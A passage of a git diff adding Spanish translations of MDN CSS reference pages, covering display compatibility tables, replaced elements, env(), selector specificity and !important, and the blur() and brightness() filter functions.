+   <th>Firefox (Gecko)</th>
+   <th>explorador de Internet</th>
+   <th>Ópera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td><code>none</code>, <code>inline</code>y<code>block</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>4.0</td>
+   <td>7,0</td>
+   <td>1,0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>inline-block</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>5,5 <sup>[4]</sup></td>
+   <td>7,0</td>
+   <td>1,0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>list-item</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>6.0</td>
+   <td>7,0</td>
+   <td>1,0 (85)</td>
+  </tr>
+  <tr>
+   <td rowspan="2"><code>run-in</code> {{experimental_inline}}</td>
+   <td>1,0 [5]</td>
+   <td rowspan="2">{{CompatVersionUnknown}}</td>
+   <td rowspan="2">{{CompatNo}}</td>
+   <td rowspan="2">8,0</td>
+   <td rowspan="2">7,0</td>
+   <td>1,0 (85) <sup>[5]</sup></td>
+  </tr>
+  <tr>
+   <td>4.0 Eliminado en 32</td>
+   <td>5.0 (532.5) Eliminado en 8.0</td>
+  </tr>
+  <tr>
+   <td><code>inline-table</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>8,0</td>
+   <td>7,0</td>
+   <td>1,0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>table</code>, <code>table-cell</code>, <code>table-column</code>, <code>table-column-group</code>, <code>table-header-group</code>, <code>table-row-group</code>, <code>table-footer-group</code>, <code>table-row</code>, Y<code>table-caption</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>8,0</td>
+   <td>7,0</td>
+   <td>1,0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>flex</code></td>
+   <td>
+    <p>21.0 {{property_prefix("- webkit")}}</p>
+
+    <p>29,0</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}} <sup>[1]</sup><br>
+    {{CompatGeckoDesktop("20.0")}}</td>
+   <td>
+    <p>10 {{property_prefix("- ms")}} <sup>[8]</sup><br>
+     11</p>
+   </td>
+   <td>12,50</td>
+   <td>
+    <p>6.1 {{property_prefix("- webkit")}}</p>
+
+    <p>9,0</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>inline-flex</code></td>
+   <td>21.0 {{property_prefix("- webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}} <sup>[1]</sup><br>
+    {{CompatGeckoDesktop("20.0")}}</td>
+   <td>10 {{property_prefix("- ms")}} <sup>[8]</sup><br>
+    11</td>
+   <td>12,50</td>
+   <td>6.1 {{property_prefix("- webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>grid</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("- ms")}}</td>
+   <td>{{CompatGeckoDesktop("45.0")}} <sup>[6]</sup></td>
+   <td>10.0 {{property_prefix("- ms")}}</td>
+   <td>{{CompatOpera(44)}}</td>
+   <td>TP</td>
+  </tr>
+  <tr>
+   <td><code>inline-grid</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("- ms")}}</td>
+   <td>{{CompatGeckoDesktop("45.0")}} <sup>[6]</sup></td>
+   <td>10.0 {{property_prefix("- ms")}}</td>
+   <td>{{CompatOpera(44)}}</td>
+   <td>TP</td>
+  </tr>
+  <tr>
+   <td><code>subgrid</code> {{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code>, <code>ruby-text-container</code> {{Experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34.0")}} <sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contents</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(58)}} <sup>[7]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("37")}} <sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>flow-root</code></td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("53.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Vista web de Android</th>
+   <th>Chrome para Android</th>
+   <th>Borde</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Teléfono IE</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>7.0 {{property_prefix("- webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>grid</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile (44)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>inline-grid</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile (44)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>flow-root</code></td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile (45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Para activar el soporte de flexbox, para Firefox 18 y 19, el usuario tiene que cambiar la preferencia about: config "layout.css.flexbox.enabled" con <code>true</code>. Flexbox multilínea son compatibles desde Firefox 28.</p>
+
+<p>[2] Antes de Firefox 37, el valor <code>contents</code> estaba deshabilitado de forma predeterminada, y podría habilitarse configurando el <code>layout.css.display-contents.enabled</code> con preferencia <code>true</code>. En Firefox 37, se habilitó de forma predeterminada, y en Firefox 53 el pref se eliminó por completo.</p>
+
+<p>[3] CSS Ruby apoyo está detrás de pref "layout.css.ruby.enabled". El usuario tiene que cambiar este pref un verdadero para activarlo.</p>
+
+<p>[4] Sólo elementos naturales en línea.</p>
+
+<p>[5]No hay antes de los elementos en línea.</p>
+
+<p>[6]El soporte de Grid CSS no está prefijado en las compilaciones Nightly / Alpha y detrás de pref "layout.css.grid.enabled" en las compilaciones Beta / Release.</p>
+
+<p>[7] En Chrome, el valor <code>contents</code> está actualmente desactivado de forma predeterminada, pero se puede habilitar con el indicador "Experimental Plataforma Web características".</p>
+
+<p>[8] En IE 10, sólo los valores prefijados especiales, <code>-ms-flexbox</code>y <code>-ms-inline-flexbox</code>, se reconocen.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref("visibility")}}, {{cssxref("float")}}, {{cssxref("posición")}}</li>
+ <li>{{cssxref("flex")}}</li>
+</ul>
diff --git a/files/es/web/css/elemento_reemplazo/index.html b/files/es/web/css/elemento_reemplazo/index.html
new file mode 100644
index 0000000000..a8bedc65a2
--- /dev/null
+++ b/files/es/web/css/elemento_reemplazo/index.html
@@ -0,0 +1,19 @@
+---
+title: Elemento de reemplazo
+slug: Web/CSS/Elemento_reemplazo
+tags:
+  - CSS
+  - CSS Referência
+  - Intermediate
+translation_of: Web/CSS/Replaced_element
+---
+<div>
+ {{CSSRef()}}</div>
+<h2 id="Summary">Summary</h2>
+<p>Dentro de CSS tenemos los <strong>elementos de reemplazo</strong>, cuya representacion esta fuera del ambito de propio CSS. Son un tipo de objeto externo, por tanto su representacion es independiente de CSS. Algunos objetos que normalmente funcionan como objetos de reemplazo son {{HTMLElement("img")}}, {{HTMLElement("object")}}, {{HTMLElement("video")}} o elementos de formulario como {{HTMLElement("textarea")}}, {{HTMLElement("input")}}. Algunos elementos como {{HTMLElement("audio")}} or {{HTMLElement("canvas")}} ejercen como elementos de reemplazo solo en casos especificos. Los objetos insertados a traves de las propiedades CSS  {{cssxref("content")}} son <em>objetos de reemplazo anonimos.</em>.</p>
+<p>CSS gestiona elementos de reemplazo en casos concretos, por ejemplo al calcular los margenes y algunos <code>auto</code> valores.</p>
+<p>Recuerda que algunos elementos de reemplazo, no todos, tienen dimensiones intrinsecas o linea de base establecida, las cuales son utilizadas por propiedades de CSS como {{cssxref("vertical-align")}}.</p>
+<h2 id="Ver_tambien">Ver tambien:</h2>
+<ul>
+ <li>{{CSS_key_concepts()}}</li>
+</ul>
diff --git a/files/es/web/css/env()/index.html b/files/es/web/css/env()/index.html
new file mode 100644
index 0000000000..18e6a48310
--- /dev/null
+++ b/files/es/web/css/env()/index.html
@@ -0,0 +1,27 @@
+---
+title: env()
+slug: Web/CSS/env()
+tags:
+  - CSS
+  - Experimental
+  - Función CSS
+  - Variables CSS
+  - env
+  - env()
+translation_of: Web/CSS/env()
+---
+<p><span class="seoSummary">La función <a href="https://developer.mozilla.org/es/docs/Web/CSS">CSS</a> <code><strong>env</strong></code><strong><code>()</code></strong> puede ser utilizada para insertar el valor de una variable de entorno, que sea global para un documento en particular, al contrario de una <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/--*">propiedad personalizada</a>. Entonces, la funcion env() puede ser utilizada para remplazar el valor en ubicaciones arbitrarias, de la misma manera que la función <a href="https://developer.mozilla.org/es/docs/Web/CSS/var">var()</a>.</span></p>
+
+<p>La función env() puede ser utilizada en el lugar de cualquier parte de un valor en cualquier propiedad de cualquier elemento, o de cualquier parte de un valor en cualquier descriptor de cualquier regla @, y en varios otros lugares donde los valores CSS están permitidos.</p>
+
+<p>Las Variables de Entorno CSS están actualmente en curso de definición en un borrador de Recomendación: <a href="https://drafts.csswg.org/css-env-1/">CSS Environment Variables Module Level 1</a>.</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si quiere contribuir a estos datos, por favor revisar <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y enviarnos una  pull request.</div>
+
+<p>{{Compat("css.properties.custom-property.env")}}</p>
+</div>
+
+<p> </p>
diff --git a/files/es/web/css/especificidad/index.html b/files/es/web/css/especificidad/index.html
new file mode 100644
index 0000000000..6a42fdb53f
--- /dev/null
+++ b/files/es/web/css/especificidad/index.html
@@ -0,0 +1,239 @@
+---
+title: Especificidad
+slug: Web/CSS/Especificidad
+tags:
+  - CSS
+  - Ejemplo
+  - Guía
+  - Principiante
+  - Web
+translation_of: Web/CSS/Specificity
+---
+<p>La <strong>especificidad</strong><span> es la manera mediante la cual los navegadores deciden qué valores de una propiedad CSS son más relevantes para un elemento y, por lo tanto, serán aplicados. La especificidad está basada en las reglas de coincidencia que están compuestas por diferentes tipos de </span><a href="https://developer.mozilla.org/es/CSS/CSS_Reference#Selectors">selectores CSS</a><span>.</span></p>
+
+<h2 id="¿Cómo_se_calcula">¿Cómo se calcula?</h2>
+
+<p>La especificidad es un peso (importancia o valor) que se le asigna a una declaración CSS dada, determinada por el número correspondiente de cada <a href="https://developer.mozilla.org/es/docs/Web/CSS/Especificidad#Tipos_de_selectores">tipo de selector</a>. Cuando varias declaraciones tienen igual especificidad, se aplicará al elemento la última declaración encontrada en el CSS. La especificidad solo se aplica cuando el mismo elemento es objetivo de múltiples declaraciones. Según las reglas de CSS, en caso de que un elemento sea objeto de una <a href="https://developer.mozilla.org/es/docs/Web/CSS/Especificidad#Elementos_objetivos_de_una_declaración_directa_vs_estilos_heredados">declaración directa</a>, esta siempre tendrá preferencia sobre las reglas heredadas de su ancestro.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> La <u>proximidad de elementos</u> en el árbol del documento no tiene efecto en la especificidad.</p>
+</div>
+
+<h3 id="Tipos_de_selectores">Tipos de selectores</h3>
+
+<p>La siguiente lista de tipos de selectores incrementa en función de la especificidad:</p>
+
+<ol start="0">
+ <li><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/Type_selectors">Selectores de tipo</a> (p.e., <code>h1</code>) y pseudo-elementos (p.e., <code>::before</code>).</li>
+ <li><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/Class_selectors">Selectores de clase</a> (p.e., <code>.example</code>), selectores de atributos (p.e., <code>[type="radio"]</code>) y pseudo-clases (p.e., <code>:hover</code>).</li>
+ <li><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/ID_selectors">Selectores de ID</a> (p.e., <code>#example</code>).</li>
+</ol>
+
+<p>El selector universal ({{CSSxRef("Universal_selectors", "*")}}), los combinadores ({{CSSxRef("Adjacent_sibling_combinator", "+")}}, {{CSSxRef("Child_combinator", "&gt;")}}, {{CSSxRef("General_sibling_combinator", "~")}}, <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Descendant_combinator">'<code> </code>'</a>, {{CSSxRef("Column_combinator", "||")}}) y la pseudo-clase de negación ({{CSSxRef(":not", ":not()")}}) no tienen efecto sobre la especificidad. (Sin embargo, los selectores declarados <em>dentro de </em><code>:not()</code> si lo tienen.)</p>
+
+<p>Para más información, visita <a href="https://wiki.developer.mozilla.org/es/docs/Learn/CSS/Building_blocks/Cascada_y_herencia#Especificidad">"Especificidad" en "Cascada y herencia"</a>, también puedes visitar: <a href="https://specifishity.com/">https://specifishity.com</a></p>
+
+<p>Los estilos <em>inline</em> añadidos a un elemento (p.e., <code>style="font-weight:bold"</code>) siempre sobrescriben a cualquier estilo escrito en hojas de estilo externas, por lo que se puede decir que tienen la mayor especificidad.</p>
+
+<h3 id="La_excepción_!important">La excepción !important</h3>
+
+<p>Cuando se emplea <code>important</code> en una declaración de estilo, esta declaración sobrescribe a cualquier otra. Aunque técnicamente <code><font face="Courier New">!important</font></code>  no tiene nada que ver con especificidad, interactúa directamente con esta. Sin embargo, el uso de <code><font face="Courier New">!important</font></code> es una <strong>mala práctica</strong> y debería evitarse porque hace que el código sea más difícil de depurar al romper la <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Cascade">cascada (artículo en inglés)</a><strong><em> </em></strong>natural de las hojas de estilo. Cuando dos declaraciones en conflicto con el <code><font face="Courier New">!important</font></code> son aplicadas al mismo elemento, se aplicará la declaración con mayor especificidad. </p>
+
+<p><strong>Algunas reglas de oro:</strong></p>
+
+<ul>
+ <li>Busca <strong>siempre</strong> una manera de emplear la especificidad antes de considerar el uso de <code><font face="Courier New">!important</font></code><font face="Courier New">.</font></li>
+ <li>Usa <code><font face="Courier New">!important</font></code> <strong>solo </strong>en declaraciones específicas de CSS que sobrescriban CSS externo (de librerías externas como Bootstrap o normalize.css).</li>
+ <li><strong>Nunca</strong> uses <code>!important</code> cuando estés intentando escribir un plugin/mashup.</li>
+ <li><strong>Nunca</strong> uses <code>!important</code> en todo el código CSS.</li>
+</ul>
+
+<p><strong>En lugar de usar <code>!important</code>, considera:</strong></p>
+
+<ol>
+ <li>Hacer un mejor uso de las propiedades en cascada de CSS.</li>
+ <li>
+  <p>Usar reglas más específicas. Indicando uno o más elementos antes del elemento que estás seleccionando, la regla se vuelve más específica y gana mayor prioridad:</p>
+
+  <pre class="brush: html notranslate">&lt;div id="test"&gt;
+  &lt;span&gt;Text&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+  <pre class="brush: css notranslate">div#test span { color: green; }
+div span { color: blue; }
+span { color: red; }</pre>
+ </li>
+ <li>Como un caso especial sin sentido para (2), duplicar selectores simples para aumentar la especificidad cuando no tiene nada más que especificar
+  <pre class="notranslate">#myId#myId span { color: yellow; }
+.myClass.myClass span { color: orange; }</pre>
+ </li>
+</ol>
+
+<h4 id="Cómo_se_debería_usar_!important"><strong>Cómo se debería usar !important:</strong></h4>
+
+<h5 id="A_Sobrescribiendo_los_estilos_en_linea">A) Sobrescribiendo los estilos en linea</h5>
+
+<ol>
+ <li>Tienes un archivo CSS que establece aspectos visuales de tu sitio de manera global.</li>
+ <li>Tú (u otros) usan estilos inline en los propios elementos. Esto es considerado como una muy mala práctica. </li>
+</ol>
+
+<p><span>En este caso, puedes establecer ciertos estilos en tu archivo CSS global como importantes, superando así los estilos en línea configurados directamente en los elementos. </span></p>
+
+<p>Ejemplo del mundo real: Algunos <strong>plugins jQuery</strong> muy mal escritos que usan estilos inline.</p>
+
+<p>B) Otro escenario:</p>
+
+<pre class="default prettyprint prettyprinted notranslate"><code><span class="com">#someElement p {</span><span class="pln">
+    color</span><span class="pun">:</span><span class="pln"> blue</span><span class="pun">;</span><span class="pln">
+</span><span class="pun">}</span><span class="pln">
+
+p</span><span class="pun">.</span><span class="pln">awesome </span><span class="pun">{</span><span class="pln">
+    color</span><span class="pun">:</span><span class="pln"> red</span><span class="pun">;</span><span class="pln">
+</span><span class="pun">}</span></code></pre>
+
+<p>¿Cómo haces que los párrafos <code>awesome</code> se vuelvan siempre rojos, incluso los que se encuentren dentro de <code>#someElement</code>? Sin <code>!important</code>, la primera regla tendrá más especificidad y ganará a la segunda.</p>
+
+<h4 id="Cómo_sobrescribir_!important"><strong>Cómo sobrescribir !important</strong></h4>
+
+<p>A) Simplemente añade otra regla CSS con <code>!important</code> y, o bien da al selector una especificidad mayor (añadiendo una etiqueta, id o clase al selector), o añadiendo una regla CSS con el mismo selector en un punto posterior al ya existente. Esto funciona porque en caso de empate en especificidad, la última regla prevalece.</p>
+
+<p>Algunos ejemplos con una gran especificidad:</p>
+
+<pre class="default prettyprint prettyprinted notranslate"><code><span class="pln">table td    </span><span class="pun">{</span><span class="pln">height</span><span class="pun">:</span><span class="pln"> </span><span class="lit">50px</span><span class="pln"> </span><span class="pun">!</span><span class="pln">important</span><span class="pun">;}</span><span class="pln">
+</span><span class="pun">.</span><span class="pln">myTable td </span><span class="pun">{</span><span class="pln">height</span><span class="pun">:</span><span class="pln"> </span><span class="lit">50px</span><span class="pln"> </span><span class="pun">!</span><span class="pln">important</span><span class="pun">;}</span><span class="pln">
+</span><span class="com">#myTable td {height: 50px !important;}</span></code></pre>
+
+<p>B) O añade el mismo selector después de uno existente:</p>
+
+<pre class="default prettyprint prettyprinted notranslate"><code><span class="pln">td </span><span class="pun">{</span><span class="pln">height</span><span class="pun">:</span><span class="pln"> </span><span class="lit">50px</span><span class="pln"> </span><span class="pun">!</span><span class="pln">important</span><span class="pun">;}</span></code></pre>
+
+<p>C) O reescribe la regla original para evitar el uso de <code>!important</code>.</p>
+
+<p><strong>Para más información, visita (en inglés): </strong></p>
+
+<p><a href="http://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css">http://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css</a></p>
+
+<p><a href="http://stackoverflow.com/questions/9245353/what-does-important-in-css-mean">http://stackoverflow.com/questions/9245353/what-does-important-in-css-mean</a></p>
+
+<p><a href="http://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css">http://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css</a></p>
+
+<p><a href="http://stackoverflow.com/questions/11178673/how-to-override-important">http://stackoverflow.com/questions/11178673/how-to-override-important</a></p>
+
+<p><a href="http://stackoverflow.com/questions/2042497/when-to-use-important-to-save-the-day-when-working-with-css">http://stackoverflow.com/questions/2042497/when-to-use-important-to-save-the-day-when-working-with-css</a></p>
+
+<h3 id="La_excepción_not">La excepción <code>:not</code></h3>
+
+<p>La pseudo-clase negación :<code>not</code> <em>no</em> es considerada una pseudo-clase para el cálculo de la especificidad. Pero los selectores colocados dentre de ella, si cuentan como selectores normales a la hora de determinar el valor de los <a href="https://developer.mozilla.org/es/docs/Web/CSS/Especificidad#Tipos_de_selectores">tipos de selectores</a>. </p>
+
+<p>Aquí tienes un pedazo de CSS:</p>
+
+<pre class="brush: css notranslate">div.outer p {
+  color:orange;
+}
+div:not(.outer) p {
+  color: lime;
+}
+</pre>
+
+<p>cuando se usa con el siguiente HTML:</p>
+
+<pre class="brush: html notranslate">&lt;div class="outer"&gt;
+  &lt;p&gt;Esto está en el outer div.&lt;/p&gt;
+  &lt;div class="inner"&gt;
+    &lt;p&gt;Este texto está en el inner div.&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Debería aparecer en pantalla como:</p>
+
+<p><span style="color: orange;">Esto está en el outer div<br>
+ <br>
+ <span><span style="color: lime;">Este texto está en el inner div</span></span></span></p>
+
+<h3 id="Especificidad_basada_en_la_forma">Especificidad basada en la forma</h3>
+
+<p>La especificidad está basada en la forma de un selector. En el siguiente caso, el selector <code>*[id="foo"]</code> cuenta como un atributo selector para la determinación de la especificidad de un selector, incluso cuando se selecciona un ID.</p>
+
+<p>Las siguientes declaraciones de estilo:</p>
+
+<pre class="brush: css notranslate">*#foo {
+  color: green;
+}
+*[id="foo"] {
+  color: purple;
+}
+</pre>
+
+<p>cuando se usan con este marcador:</p>
+
+<pre class="brush: html notranslate">&lt;p id="foo"&gt;Soy un texto de ejemplo.&lt;/p&gt;
+</pre>
+
+<p>Se acabarán viendo así:</p>
+
+<p style="color: green;">Soy un texto de ejemplo</p>
+
+<p>Debido a que coincide con el mismo elemento, pero el selector ID tiene una mayor especificidad.</p>
+
+<h3 id="Ignorancia_de_proximidad_en_el_árbol"><a id="tree-proximity-ignorance" name="tree-proximity-ignorance">Ignora</a>ncia de proximidad en el árbol</h3>
+
+<p>La proximidad de un elemento con otros a los que se hace referencia en un selector determinado, no tiene impacto en la especificidad. La siguiente declaración de estilo:</p>
+
+<pre class="brush: css notranslate">body h1 {
+  color: green;
+}
+html h1 {
+  color: purple;
+}
+</pre>
+
+<p>Con el siguiente HTML:</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+&lt;body&gt;
+  &lt;h1&gt;¡Aquí va un título!&lt;/h1&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Se mostrará como:</p>
+
+<h1 id="¡Aquí_va_un_título!" style="color: purple;">¡Aquí va un título!</h1>
+
+<p>Porque las dos declaraciones tienen un resultado de tipo de selector igual, pero el selector <code>html h1 </code>se ha declarado después.</p>
+
+<h3 id="Declaración_directa_vs_estilos_heredados"><a id="directly-targeted-elements" name="directly-targeted-elements">Declaración directa vs estilos heredados</a></h3>
+
+<p>Los estilos para elementos objetivo de una declaración directa siempre tienen preferencia sobre los estilos heredados, sin importar la especificidad de la regla heredada.</p>
+
+<pre class="brush: css notranslate" style="font-size: 14px;">#parent {
+  color: green;
+}
+h1 {
+  color: purple;
+}</pre>
+
+<p>Con el siguiente HTML:</p>
+
+<pre class="brush: html notranslate" style="font-size: 14px;">&lt;html&gt;
+&lt;body id="parent"&gt;
+  &lt;h1&gt;¡Aquí va un título!&lt;/h1&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Se verá así:</p>
+
+<h1 id="¡Aquí_va_un_título!_2" style="color: purple;">¡Aquí va un título!</h1>
+
+<p>Porque el selector <code>h1</code> selecciona el objetivo de manera específica, pero el color verde simplemente es heredad de su padre.</p>
+
+<h2 id="Consulta_también_en_inglés">Consulta también (en inglés)</h2>
+
+<ul>
+ <li>Specificity Calculator: An interactive website to test and understand your own CSS rules - <a href="https://specificity.keegan.st/">https://specificity.keegan.st/</a></li>
+ <li>CSS3 Selectors Specificity - <a class="external" href="http://www.w3.org/TR/selectors/#specificity" rel="freelink">http://www.w3.org/TR/selectors/#specificity</a></li>
+ <li>{{ CSS_key_concepts() }}</li>
+</ul>
diff --git a/files/es/web/css/filter-function/blur()/index.html b/files/es/web/css/filter-function/blur()/index.html
new file mode 100644
index 0000000000..a60e4408eb
--- /dev/null
+++ b/files/es/web/css/filter-function/blur()/index.html
@@ -0,0 +1,40 @@
+---
+title: blur()
+slug: Web/CSS/filter-function/blur()
+tags:
+  - CSS
+  - Efectos de Filtro
+  - Función CSS
+  - Referencia
+translation_of: Web/CSS/filter-function/blur()
+---
+<div>{{cssref}}</div>
+
+<p>La función CSS <strong><code>blur()</code></strong> aplica un <a href="https://en.wikipedia.org/wiki/Gaussian_blur">desenfoque Gaussiano</a> a la imagen de entrada. El resultado es un {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-blur.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">blur(<em>radio</em>)</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>radio</code></dt>
+ <dd>El radio del desenfoque, especificado como {{cssxref("&lt;length&gt;")}}. Define el valor de la desviación estándar a la función gaussiana, es decir, cuántos píxeles en la pantalla se combinan entre sí; por lo tanto, un valor mayor creará más desenfoque. Un valor de <code>0</code> deja la entrada sin cambios. El valor de laguna para la interpolación es <code>0</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css notranslate">blur(0)        /* Sin efecto */
+blur(8px)      /* Desenfoque con 8px de radio */
+blur(1.17rem)  /* Desenfoque con 1.17rem de radio */</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/es/web/css/filter-function/brightness()/index.html b/files/es/web/css/filter-function/brightness()/index.html
new file mode 100644
index 0000000000..8d51f5d70c
--- /dev/null
+++ b/files/es/web/css/filter-function/brightness()/index.html
@@ -0,0 +1,45 @@
+---
+title: brightness()
+slug: Web/CSS/filter-function/brightness()
+translation_of: Web/CSS/filter-function/brightness()
+---
+<div>{{cssref}}</div>
+
+<p>La función <strong><code>brightness()</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> aplica un multiplicador linear a la imagen, haciendo que su apariencia sea más brallante u oscura. Su resultado es un {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-brightness.html")}}</div>
+
+<p class="hidden">El código de este ejemplo interactivo se encuentra en GitHub repository. Si desea contribuir en el proyecto de ejemplos interactivos, por favor clone el repositorio <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envie un pull request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">brightness(<em>valor</em>)</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>valor</code></dt>
+ <dd>El brillo resultante, es definido como un {{cssxref("&lt;number&gt;")}} o un {{cssxref("&lt;percentage&gt;")}}. Un valor debajo del <code>100%</code> oscurecerá la imagen, como así un valor superior al <code>100%</code> le dará más brillo. Un valor de <code>0%</code> dará como resultado una imagen completamente negra, siendo el valor de <code>100%</code> una imagen sin cambios. El valor de la Interpolación es <code>1</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css notranslate">brightness(0%)   /* Completamente negro */
+brightness(0.4)  /* 40% de brillo */
+brightness(1)    /* Sin Efecto */
+brightness(200%) /* Doble de Brillo */</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+ <li>{{cssxref("filter-function/blur", "blur()")}}</li>
+ <li>{{cssxref("filter-function/contrast", "contrast()")}}</li>
+ <li>{{cssxref("filter-function/drop-shadow", "drop-shadow()")}}</li>
+ <li>{{cssxref("filter-function/grayscale", "grayscale()")}}</li>
+ <li>{{cssxref("filter-function/hue-rotate", "hue-rotate()")}}</li>
+ <li>{{cssxref("filter-function/invert", "invert()")}}</li>
+ <li>{{cssxref("filter-function/opacity", "opacity()")}}</li>
+ <li>{{cssxref("filter-function/saturate", "saturate()")}}</li>
+ <li>{{cssxref("filter-function/sepia", "sepia()")}}</li>
+</ul>
diff --git a/files/es/web/css/filter-function/index.html b/files/es/web/css/filter-function/index.html
new file mode 100644
index 0000000000..b49712c5d1
--- /dev/null
+++ b/files/es/web/css/filter-function/index.html
